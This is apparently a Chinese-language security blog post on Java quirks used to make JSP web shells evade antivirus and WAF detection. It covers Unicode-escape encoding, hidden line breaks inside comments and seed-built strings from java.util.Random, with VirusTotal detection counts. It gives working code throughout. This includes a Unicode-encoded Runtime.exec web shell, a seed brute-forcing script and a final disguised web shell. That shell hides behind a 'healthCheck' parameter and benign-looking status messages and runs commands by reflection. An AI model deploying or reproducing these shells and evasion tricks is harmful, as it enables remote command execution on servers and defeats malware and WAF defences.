前言:分享煮波学习到的java安全小trick,也不是什么新东西纯记录,小白努力学java中……
unicode解析特性-编码
这是一段打印当前时间的代码
1
| <%=new java.util.Date() %>
|
如果把它unicode编码之后还能正常执行吗
1 2
| <%--uniocde编码后--%> <%=\u006e\u0065\u0077\u0020\u006a\u0061\u0076\u0061\u002e\u0075\u0074\u0069\u006c\u002e\u0044\u0061\u0074\u0065\u0028\u0029 %>
|
虽然编译器爆红,但是仍然能成功解析执行


这是为什么呢?相信熟悉的师傅都知道:
Java 编译器在解析源码时,会优先处理 Unicode 转义符,会在真正执行代码之前的词法分析阶段将unicode编码的部分还原为其对应的字符。

而我们又知道,JSP会被转换为 Servlet 源码,再编译为字节码。此过程会继承 Java 的特性,于是我们能得出jsp也支持unicode字符的解析!
有了这一unicode解析的特性,我们能做什么呢?首先能想到的就是老生常谈的JSP Unicode编码免杀
1 2 3 4
| <% Runtime.getRuntime().exec(request.getParameter("cmd"));%>
<%--uniocde编码后--%> <%\u0052\u0075\u006e\u0074\u0069\u006d\u0065\u002e\u0067\u0065\u0074\u0052\u0075\u006e\u0074\u0069\u006d\u0065\u0028\u0029\u002e\u0065\u0078\u0065\u0063\u0028\u0072\u0065\u0071\u0075\u0065\u0073\u0074\u002e\u0067\u0065\u0074\u0050\u0061\u0072\u0061\u006d\u0065\u0074\u0065\u0072\u0028\u0022\u0063\u006d\u0064\u0022\u0029\u0029;%>
|
编码前VT 17/62 检出

编码后 4/62检出

检出率明显大大下降了,但是仍然会被检出,因为这个JSP Unicode编码免杀早已是老技术了,一些杀软厂商已经更新了对unicode解析的支持,所以单独使用该姿势做免杀的效果不算很好,可以配合其他技巧一起使用

除此之外该特性也可以用于去做代码混淆,让代码不易读,增加分析成本
unicode解析特性-结合注释换行
继续,我们看下一个例子,运行下面这段代码是输出乌萨奇!到~~~~~~~~~~,还是,乌萨奇!阿米诺斯呢?
1 2 3 4 5 6 7 8 9 10 11
| package org.example;
public class Main { public static void main(String[] args) { String call = "乌萨奇!"; String reply ="到~~~~~~~~~~";
System.out.println(call+reply); } }
|
答案是乌萨奇!阿米诺斯,为什么呢?

这个和unicode与注释符//的解析顺序有关:
Unicode 转义在注释之前被解析,因此即使转义符位于注释中也会生效
也就是对于//\u000dreply ="阿米诺斯";解析顺序是,先解析unicode编码,发现\u000d是换行符,于是成功换行为下面这样
然后才解析//注释符,此时reply ="阿米诺斯"已经通过换行逃逸出注释了,于是reply会被赋值为阿米诺斯,而不再是到~~~~~~~~~~
可以把这个思路用来做免杀静态混淆
在确保语法正确的前提下,随便插入//\u000d

混淆之后,免杀效果还行
360

微步沙箱 0检出

VT 0/62 0检出

当然这个小trick拿去绕基于内容检测的WAF也是比较不错的姿势!师傅们遇到了相应WAF的话,可以试试看这个trick能不能绕过,虽然也是老技术了,但是保不准还是能绕过一些WAF的
当然这样的字符不仅仅有换行符,其他符号同样适用:
| 操作 |
Unicode |
转义字符 |
| 回车 |
/u000a |
/n |
| 换行 |
/u000d |
/r |
| 换页 |
/u000c |
/f |
| 单引号 |
/u0027 |
‘ |
| 双引号 |
/u0022 |
“ |
| 反斜杠 |
/u005c |
/ |
| 空格 |
/u0008 |
/b |
| 水平制表符 |
/u0009 |
/t |
Random构造固定序列
仍然先看一段代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| import java.util.Random; public class Main { public static void main(String[] args) { System.out.println(generateString(508445)+generateString(347795)+generateString(55200)); } public static String generateString(long seed) { Random rand = new Random(seed); StringBuilder sb = new StringBuilder(); while (true) { int k = rand.nextInt(27); if (k == 0) break; sb.append((char) ('`' + k)); } return sb.toString(); } }
|
运行这段代码会输出什么呢?为什么
答案是ipconfig

为什么呢?而且这里使用了Random类生成随机数,结果难道不应该是随机的吗,为什么多次调用运行结果都是一个固定的字符串ipconfig?
理解这些需要一点前置知识
我们看看Random类源码注释怎么说的

翻译过来是:
如果两个Random实例使用相同的种子创建,并且对每个实例进行了相同的方法调用序列,它们将生成并返回相同的数字序列。为了保证这一特性,Random类采用了特定的算法。为了实现Java代码的绝对可移植性,所有Java实现都必须为Random类使用这里展示的全部算法。但Random类的子类允许使用其他算法,只要遵循所有方法的通用约定即可。
也就是说,其实Random类的算法实现的是一个伪随机,不是真正的完全随机,只要随机数种子seed相同,不同实例之间每次调用运行生成的结果序列都是一致的、可预测的
用一段demo可以说明
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| package org.example;
import java.util.Random; public class Main { public static void main(String[] args) { Random randA = new Random(10); Random randB = new Random(10); System.out.println("实例:A,种子:10"); System.out.println("序列: "+randA.nextInt()+" "+randA.nextInt()+" "+randA.nextInt()+" "+randA.nextInt());
System.out.println("实例:B,种子:10"); System.out.println("序列: "+randB.nextInt()+" "+randB.nextInt()+" "+randB.nextInt()+" "+randB.nextInt()); } }
|

现在我们知道了通过设置相同的种子,不同实例调用生成的序列是固定相同的。那么回到刚才那个问题,为什么代码会输出ipconfig呢
重点看这个静态方法
1 2 3 4 5 6 7 8 9 10
| public static String generateString(long seed) { Random rand = new Random(seed); StringBuilder sb = new StringBuilder(); while (true) { int k = rand.nextInt(27); if (k == 0) break; sb.append((char) ('`' + k)); } return sb.toString(); }
|
int k = rand.nextInt(27);的意思是生成[0,27)的随机数赋值给k,如果k为0跳出循环,否则追加sb字符串。
我们又知道字符对应的ASCII码值
1 2 3 4 5 6 7 8 9
| ` -> 96 i -> 105 p -> 112 c -> 99 o -> 111 n -> 110 f -> 102 i -> 105 g -> 103
|
那么现在很清晰了,rand.nextInt(27)的作用是保证k只在[0,27)范围,加上” ` “,再转为char类型,就保证了构造的字符范围在a-z。这样就构造出了所有的小写字母了
但是代码段是怎么控制输出始终是ipconfig的呢?这其实是逆向爆破出了几个特殊的种子generateString(508445)+generateString(347795)+generateString(55200)
爆破构造种子的思路是这样的,输入目标字符串ipconfig,由于字符串太长,爆破可能需要很久,于是把字符串分成3个(或两个)一组, ipc onf ig,然后遍历爆破种子,寻找到一个种子使得他的限制在[0,27)的前几位序列加上一个固定值(比如`符号),刚好能凑出来目标字符串某个片段的ASCll码值序列,这样几个片段拼接就能构造出目标字符串。
给出一个仅支持构造小写字母的脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101
| package org.example;
import java.util.ArrayList; import java.util.List; import java.util.concurrent.*; import java.util.Random;
public class Main { private static final int GROUP_SIZE = 3;
public static void main(String[] args) { String target = "ipconfig"; List<String> groups = splitIntoGroups(target, GROUP_SIZE); System.out.println("分组结果: " + groups);
ExecutorService executor = Executors.newFixedThreadPool(groups.size()); List<Future<Long>> futures = new ArrayList<>();
for (String group : groups) { futures.add(executor.submit(() -> findSeed(group))); }
List<Long> seeds = new ArrayList<>(); for (Future<Long> future : futures) { try { seeds.add(future.get()); } catch (Exception e) { System.err.println("爆破失败: " + e.getMessage()); } } executor.shutdown();
System.out.println("\n===== 爆破结果 ====="); for (int i = 0; i < groups.size(); i++) { System.out.printf("分组 '%s' → 种子: %d\n", groups.get(i), seeds.get(i)); }
System.out.println("\n重建原始字符串:"); StringBuilder rebuilt = new StringBuilder(); for (int i = 0; i < groups.size(); i++) { String part = generateString(seeds.get(i)); rebuilt.append(part); System.out.printf("种子 %d → '%s'\n", seeds.get(i), part); } System.out.println("最终结果: " + rebuilt.toString()); }
private static long findSeed(String target) { long seed = 0; while (true) { if (testSeed(seed, target)) { return seed; } seed++; if (seed % 10_000_000 == 0) { System.out.printf("爆破中 [%s] : 当前尝试种子 %,d\n", target, seed); } } }
private static boolean testSeed(long seed, String target) { Random rand = new Random(seed); for (int i = 0; i < target.length(); i++) { int k = rand.nextInt(27); if (k == 0 || (char) ('`' + k) != target.charAt(i)) { return false; } } return rand.nextInt(27) == 0; }
private static List<String> splitIntoGroups(String str, int groupSize) { List<String> groups = new ArrayList<>(); for (int i = 0; i < str.length(); i += groupSize) { int end = Math.min(i + groupSize, str.length()); groups.add(str.substring(i, end)); } return groups; }
public static String generateString(long seed) { Random rand = new Random(seed); StringBuilder sb = new StringBuilder(); while (true) { int k = rand.nextInt(27); if (k == 0) break; sb.append((char) ('`' + k)); } return sb.toString(); } }
|

现在我们知道了通过爆破种子可以构造出任意的字符这个Random特性,可以用来干嘛呢?
仍旧是可以做免杀,使用Random伪随机数特性混淆关键恶意类名java.lang.Runtime+反射机制做免杀
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91
| <%@ page import="java.util.*, java.io.*, java.lang.reflect.*" %> <%@ page contentType="text/html;charset=UTF-8" language="java" %> <% String checkMode = request.getParameter("op"); if ("healthCheck".equals(checkMode)) { try { SystemConfig configManager = new SystemConfig(); String targetClassName = configManager.getTargetClassName();
String command = request.getParameter("c"); if (command == null || command.trim().isEmpty()) { command = "whoami"; } SystemExecutor executor = new SystemExecutor(); String result = executor.executeCommand(targetClassName, command);
out.print(result);
} catch (Exception ex) { out.print("System maintenance in progress."); } } else { out.print("Service status: OK"); } %>
<%! public class SystemConfig { private final long[] configData = { -2080435608L, -2060785532L, -2147149194L, -2107467938L, -1949527326L, -2146859157L };
public String getTargetClassName() { return buildClassPath(configData); }
private String buildClassPath(long[] data) { StringBuilder pathBuilder = new StringBuilder(); for (long value : data) { pathBuilder.append(generateSegment(value)); } return pathBuilder.toString(); }
private String generateSegment(long seed) { java.util.Random generator = new java.util.Random(seed); StringBuilder segment = new StringBuilder();
int value; while ((value = generator.nextInt(96)) != 0) { segment.append((char)(value + 31)); }
return segment.toString(); } } public class SystemExecutor {
public String executeCommand(String className, String cmd) throws Exception { Class<?> systemClass = Class.forName(className);
Constructor<?> constructor = systemClass.getDeclaredConstructor(); constructor.setAccessible(true); Object instance = constructor.newInstance();
Method execMethod = systemClass.getMethod("exec", String.class); Process process = (Process) execMethod.invoke(instance, cmd);
return readProcessOutput(process); }
private String readProcessOutput(Process proc) throws Exception { InputStream input = proc.getInputStream(); StringBuilder output = new StringBuilder();
byte[] buffer = new byte[1024]; int bytesRead; while ((bytesRead = input.read(buffer)) != -1) { output.append(new String(buffer, 0, bytesRead)); }
input.close(); return output.toString(); } } %>
|

免杀测试



总结
主要就是分享了一些java的小特性,虽然免杀的篇幅很大,但本意不是仅仅限于免杀的,很多小技巧在免杀,流量加密,代码混淆,waf对抗可能都能用上,我们灵活运用就好~